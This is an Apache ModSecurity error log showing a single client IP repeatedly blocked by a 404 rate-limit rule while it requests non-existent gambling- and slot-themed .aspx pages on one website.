[Sun Apr 26 19:35:25.082359 2026] [:error] [pid 8491:tid 8508] [client 65.108.125.120:63972] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "ae34fSq7I7e6CJooQM37aAAAAMk"]
[Sun Apr 26 19:35:27.472493 2026] [:error] [pid 8383:tid 8400] [client 65.108.125.120:63984] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "ae34f9Fa2S3EsATMdWNB8QAAAAM"]
[Sun Apr 26 19:35:29.924718 2026] [:error] [pid 8390:tid 8472] [client 65.108.125.120:28512] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "ae34gYGPtFK_i9p5yxRRGwAAAJU"]
[Sun Apr 26 19:35:32.340411 2026] [:error] [pid 8383:tid 8408] [client 65.108.125.120:28528] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "ae34hNFa2S3EsATMdWNB_QAAAAs"]
[Sun Apr 26 19:35:40.301106 2026] [:error] [pid 22572:tid 22600] [client 65.108.125.120:21694] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "ae34jNXOViWCFU-pZzAeMAAAAVY"]
[Sun Apr 26 19:35:42.726759 2026] [:error] [pid 22572:tid 22579] [client 65.108.125.120:21696] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "ae34jtXOViWCFU-pZzAeNgAAAUE"]
[Sun Apr 26 19:35:45.253458 2026] [:error] [pid 8383:tid 8415] [client 65.108.125.120:21706] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "ae34kdFa2S3EsATMdWNCDwAAABI"]
[Sun Apr 26 19:35:47.864803 2026] [:error] [pid 16515:tid 16530] [client 65.108.125.120:21712] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "ae34k1tDrUmgHSvpuLw8DwAAAkw"]
[Sun Apr 26 19:35:50.377724 2026] [:error] [pid 8383:tid 8405] [client 65.108.125.120:27568] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "ae34ltFa2S3EsATMdWNCHgAAAAg"]
[Sun Apr 26 19:35:52.929994 2026] [:error] [pid 13197:tid 13233] [client 65.108.125.120:27584] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "ae34mN3kktFKdSxTrBvTDQAAAsI"]
[Sun Apr 26 19:36:23.464383 2026] [:error] [pid 8390:tid 8469] [client 65.108.125.120:54244] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "ae34t4GPtFK_i9p5yxRRdQAAAJI"]
[Sun Apr 26 19:36:25.967768 2026] [:error] [pid 22573:tid 22610] [client 65.108.125.120:54248] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "ae34uXB3EmQlD4yKUt_ypAAAAYQ"]
[Sun Apr 26 19:36:28.501068 2026] [:error] [pid 8383:tid 8409] [client 65.108.125.120:3004] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "ae34vNFa2S3EsATMdWNCcgAAAAw"]
[Sun Apr 26 19:36:30.987796 2026] [:error] [pid 8390:tid 8451] [client 65.108.125.120:3018] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "ae34voGPtFK_i9p5yxRRjwAAAIA"]
[Sun Apr 26 19:36:33.495550 2026] [:error] [pid 8383:tid 8415] [client 65.108.125.120:3030] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "ae34wdFa2S3EsATMdWNCfQAAABI"]
[Sun Apr 26 19:36:36.024895 2026] [:error] [pid 13197:tid 13254] [client 65.108.125.120:3032] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "ae34xN3kktFKdSxTrBvTGAAAAtY"]
[Sun Apr 26 19:36:38.554368 2026] [:error] [pid 8390:tid 8460] [client 65.108.125.120:12248] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "ae34xoGPtFK_i9p5yxRRqgAAAIk"]
[Sun Apr 26 19:36:41.061844 2026] [:error] [pid 16515:tid 16535] [client 65.108.125.120:12256] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "ae34yVtDrUmgHSvpuLw8JAAAAlE"]
[Sun Apr 26 19:36:43.708660 2026] [:error] [pid 8383:tid 8410] [client 65.108.125.120:12262] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "ae34y9Fa2S3EsATMdWNCiQAAAA0"]
[Sun Apr 26 19:36:46.186221 2026] [:error] [pid 8390:tid 8467] [client 65.108.125.120:12264] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "ae34zoGPtFK_i9p5yxRRwwAAAJA"]
[Sun Apr 26 19:36:48.768328 2026] [:error] [pid 8390:tid 8466] [client 65.108.125.120:56530] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "ae340IGPtFK_i9p5yxRRywAAAI8"]
[Sun Apr 26 19:36:51.291720 2026] [:error] [pid 8390:tid 8465] [client 65.108.125.120:56540] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "ae3404GPtFK_i9p5yxRR2AAAAI4"]
[Sun Apr 26 19:36:53.937366 2026] [:error] [pid 13137:tid 13155] [client 65.108.125.120:56542] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "ae341d0RB4J0o4h5neFuwwAAAg4"]
[Sun Apr 26 19:36:56.430598 2026] [:error] [pid 8390:tid 8465] [client 65.108.125.120:56558] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "ae342IGPtFK_i9p5yxRSAQAAAI4"]
[Sun Apr 26 19:36:58.928352 2026] [:error] [pid 16515:tid 16539] [client 65.108.125.120:35570] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "ae342ltDrUmgHSvpuLw8KgAAAlU"]
[Sun Apr 26 19:37:01.545991 2026] [:error] [pid 8390:tid 8454] [client 65.108.125.120:35578] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "ae343YGPtFK_i9p5yxRSFQAAAIM"]
[Sun Apr 26 19:37:04.157465 2026] [:error] [pid 8383:tid 8407] [client 65.108.125.120:35588] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "ae344NFa2S3EsATMdWNClQAAAAo"]
[Sun Apr 26 19:37:06.489485 2026] [:error] [pid 8390:tid 8466] [client 65.108.125.120:35596] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "ae344oGPtFK_i9p5yxRSIgAAAI8"]
[Sun Apr 26 19:37:09.020137 2026] [:error] [pid 22573:tid 22613] [client 65.108.125.120:51792] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "ae345XB3EmQlD4yKUt_yzwAAAYc"]
[Sun Apr 26 19:37:11.511571 2026] [:error] [pid 16515:tid 16530] [client 65.108.125.120:51796] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "ae3451tDrUmgHSvpuLw8LwAAAkw"]
[Sun Apr 26 20:31:19.850590 2026] [:error] [pid 8383:tid 8416] [client 65.108.125.120:52778] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "ae4Fl9Fa2S3EsATMdWNSIwAAABM"]
[Sun Apr 26 20:31:22.361359 2026] [:error] [pid 8383:tid 8398] [client 65.108.125.120:52788] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "ae4FmtFa2S3EsATMdWNSKgAAAAE"]
[Sun Apr 26 20:31:24.849996 2026] [:error] [pid 13137:tid 13160] [client 65.108.125.120:52798] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "ae4FnN0RB4J0o4h5neF3JAAAAhM"]
[Sun Apr 26 20:31:27.345875 2026] [:error] [pid 8390:tid 8460] [client 65.108.125.120:52812] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "ae4Fn4GPtFK_i9p5yxRmTgAAAIk"]
[Sun Apr 26 20:31:29.829955 2026] [:error] [pid 8390:tid 8459] [client 65.108.125.120:21092] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "ae4FoYGPtFK_i9p5yxRmXgAAAIg"]
[Sun Apr 26 20:31:32.454177 2026] [:error] [pid 22573:tid 22629] [client 65.108.125.120:21102] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "ae4FpHB3EmQlD4yKUt_-ZAAAAZY"]
[Sun Apr 26 20:31:34.927505 2026] [:error] [pid 8390:tid 8471] [client 65.108.125.120:21114] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "ae4FpoGPtFK_i9p5yxRmeQAAAJQ"]
[Sun Apr 26 20:31:37.542951 2026] [:error] [pid 8385:tid 8445] [client 65.108.125.120:21120] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "ae4FqTOy7_J84Wx3-ozTVAAAAFU"]
[Sun Apr 26 20:31:40.073077 2026] [:error] [pid 8390:tid 8457] [client 65.108.125.120:59294] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "ae4FrIGPtFK_i9p5yxRmiwAAAIY"]
[Sun Apr 26 20:31:42.579495 2026] [:error] [pid 8383:tid 8402] [client 65.108.125.120:59310] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "ae4FrtFa2S3EsATMdWNSQAAAAAU"]
[Sun Apr 26 20:31:45.132345 2026] [:error] [pid 8383:tid 8398] [client 65.108.125.120:59314] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "ae4FsdFa2S3EsATMdWNSSgAAAAE"]
[Sun Apr 26 20:31:47.681073 2026] [:error] [pid 8383:tid 8420] [client 65.108.125.120:59330] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "ae4Fs9Fa2S3EsATMdWNSWgAAABc"]
[Sun Apr 26 20:31:50.069467 2026] [:error] [pid 16574:tid 16637] [client 65.108.125.120:65332] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "ae4Ftn5MsX8wRQr99nY26gAAA1U"]
[Sun Apr 26 20:31:52.636532 2026] [:error] [pid 22573:tid 22631] [client 65.108.125.120:65340] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "ae4FuHB3EmQlD4yKUt_-dgAAAZg"]
[Sun Apr 26 20:31:55.328243 2026] [:error] [pid 22572:tid 22578] [client 65.108.125.120:65346] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "ae4Fu9XOViWCFU-pZzApfQAAAUA"]
[Sun Apr 26 20:31:57.868050 2026] [:error] [pid 8390:tid 8453] [client 65.108.125.120:65354] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "ae4FvYGPtFK_i9p5yxRmqAAAAII"]
[Sun Apr 26 20:32:00.436582 2026] [:error] [pid 8383:tid 8417] [client 65.108.125.120:31716] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "ae4FwNFa2S3EsATMdWNSjQAAABQ"]
[Sun Apr 26 20:32:03.030038 2026] [:error] [pid 22573:tid 22626] [client 65.108.125.120:31728] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "ae4Fw3B3EmQlD4yKUt_-jQAAAZM"]
[Sun Apr 26 20:32:05.594513 2026] [:error] [pid 8383:tid 8407] [client 65.108.125.120:31732] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "ae4FxdFa2S3EsATMdWNSmgAAAAo"]
[Sun Apr 26 20:32:08.134647 2026] [:error] [pid 8491:tid 8514] [client 65.108.125.120:8196] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "ae4FyCq7I7e6CJooQM0A1wAAAM8"]
[Sun Apr 26 20:32:10.655708 2026] [:error] [pid 8390:tid 8472] [client 65.108.125.120:8230] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "ae4FyoGPtFK_i9p5yxRnAgAAAJU"]
[Sun Apr 26 20:32:13.091282 2026] [:error] [pid 8491:tid 8517] [client 65.108.125.120:8268] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "ae4FzSq7I7e6CJooQM0A2QAAANI"]
[Sun Apr 26 20:32:15.699088 2026] [:error] [pid 8390:tid 8463] [client 65.108.125.120:8300] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "ae4Fz4GPtFK_i9p5yxRnGQAAAIw"]
[Sun Apr 26 20:32:46.316980 2026] [:error] [pid 8383:tid 8410] [client 65.108.125.120:25910] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "ae4F7tFa2S3EsATMdWNTDgAAAA0"]
